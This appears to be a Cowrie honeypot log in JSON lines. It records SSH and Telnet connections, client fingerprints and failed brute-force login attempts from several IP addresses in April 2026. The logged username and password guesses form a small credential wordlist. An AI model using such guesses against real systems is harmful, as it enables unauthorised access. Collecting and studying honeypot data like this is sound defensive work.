{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:47.133873Z","src_ip":"159.203.92.129","session":"abba9f905c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root!@2021","message":"login attempt [admin/root!@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:47.145295Z","src_ip":"159.203.92.129","session":"abba9f905c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:48.151042Z","src_ip":"159.203.92.129","session":"abba9f905c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40684,"dst_ip":"159.203.135.109","dst_port":23,"session":"de80db204719","protocol":"telnet","message":"New connection: 46.4.8.162:40684 (159.203.135.109:23) [session: de80db204719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:54.236841Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"30d81a55fe19","protocol":"telnet","message":"New connection: 46.4.8.162:55640 (159.203.135.109:23) [session: 30d81a55fe19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:06.603863Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":44676,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bf3b59e79e","protocol":"ssh","message":"New connection: 185.239.84.249:44676 (159.203.135.109:22) [session: 56bf3b59e79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:17.053464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:17.061415Z","src_ip":"185.239.84.249","session":"56bf3b59e79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:17.276529Z","src_ip":"185.239.84.249","session":"56bf3b59e79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TESTTEST","message":"login attempt [root/TESTTEST] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:18.169547Z","src_ip":"185.239.84.249","session":"56bf3b59e79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:19.390863Z","src_ip":"185.239.84.249","session":"56bf3b59e79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33880,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d30bab105d3","protocol":"telnet","message":"New connection: 46.4.8.162:33880 (159.203.135.109:23) [session: 1d30bab105d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:19.810913Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38254,"dst_ip":"159.203.135.109","dst_port":22,"session":"61d4e2bf76be","protocol":"ssh","message":"New connection: 159.203.92.129:38254 (159.203.135.109:22) [session: 61d4e2bf76be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:29.982056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:29.987060Z","src_ip":"159.203.92.129","session":"61d4e2bf76be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:29.999513Z","src_ip":"159.203.92.129","session":"61d4e2bf76be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root!Q@WE","message":"login attempt [admin/root!Q@WE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:30.015031Z","src_ip":"159.203.92.129","session":"61d4e2bf76be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":41677,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5eac7f406e7","protocol":"ssh","message":"New connection: 212.154.234.9:41677 (10.17.0.5:22) [session: f5eac7f406e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:30.317424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:30.332730Z","src_ip":"212.154.234.9","session":"f5eac7f406e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:30.532398Z","src_ip":"212.154.234.9","session":"f5eac7f406e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45582056045532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:30.692546Z","src_ip":"46.4.8.162","session":"de80db204719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:31.024923Z","src_ip":"159.203.92.129","session":"61d4e2bf76be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"P@$$w0rd","message":"login attempt [developer/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:31.467270Z","src_ip":"212.154.234.9","session":"f5eac7f406e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:32.653474Z","src_ip":"212.154.234.9","session":"f5eac7f406e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28523826599121,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:40.888958Z","src_ip":"46.4.8.162","session":"30d81a55fe19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.145.101","src_port":40550,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3670465d26a","protocol":"telnet","message":"New connection: 159.65.145.101:40550 (159.203.135.109:23) [session: f3670465d26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:49.510631Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57206,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d59fa67f69","protocol":"telnet","message":"New connection: 46.4.8.162:57206 (159.203.135.109:23) [session: e5d59fa67f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:51.276945Z"}
{"eventid":"cowrie.session.closed","duration":31.7149658203125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:45:51.525764Z","src_ip":"46.4.8.162","session":"1d30bab105d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40810,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47e1175da5a","protocol":"ssh","message":"New connection: 159.203.92.129:40810 (159.203.135.109:22) [session: a47e1175da5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:13.342422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:13.347576Z","src_ip":"159.203.92.129","session":"a47e1175da5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:13.352933Z","src_ip":"159.203.92.129","session":"a47e1175da5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root.123","message":"login attempt [admin/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:13.367271Z","src_ip":"159.203.92.129","session":"a47e1175da5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:14.429096Z","src_ip":"159.203.92.129","session":"a47e1175da5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":38260,"dst_ip":"159.203.135.109","dst_port":22,"session":"97bf5554f879","protocol":"ssh","message":"New connection: 185.239.84.249:38260 (159.203.135.109:22) [session: 97bf5554f879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:19.582528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:19.587159Z","src_ip":"185.239.84.249","session":"97bf5554f879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:19.801371Z","src_ip":"185.239.84.249","session":"97bf5554f879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234Abcd","message":"login attempt [root/Abcd1234Abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:20.715682Z","src_ip":"185.239.84.249","session":"97bf5554f879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:21.933144Z","src_ip":"185.239.84.249","session":"97bf5554f879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49488854408264,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:23.005408Z","src_ip":"159.65.145.101","session":"f3670465d26a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.36598038673401,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:25.642797Z","src_ip":"46.4.8.162","session":"e5d59fa67f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.75.142","src_port":26344,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6793c4e9baf","protocol":"telnet","message":"New connection: 223.233.75.142:26344 (159.203.135.109:23) [session: b6793c4e9baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:47.638448Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38096,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f23664ce135","protocol":"ssh","message":"New connection: 159.203.92.129:38096 (159.203.135.109:22) [session: 1f23664ce135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:56.523459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:56.528081Z","src_ip":"159.203.92.129","session":"1f23664ce135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:56.532929Z","src_ip":"159.203.92.129","session":"1f23664ce135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root.123456","message":"login attempt [admin/root.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:56.544471Z","src_ip":"159.203.92.129","session":"1f23664ce135","protocol":"ssh"}
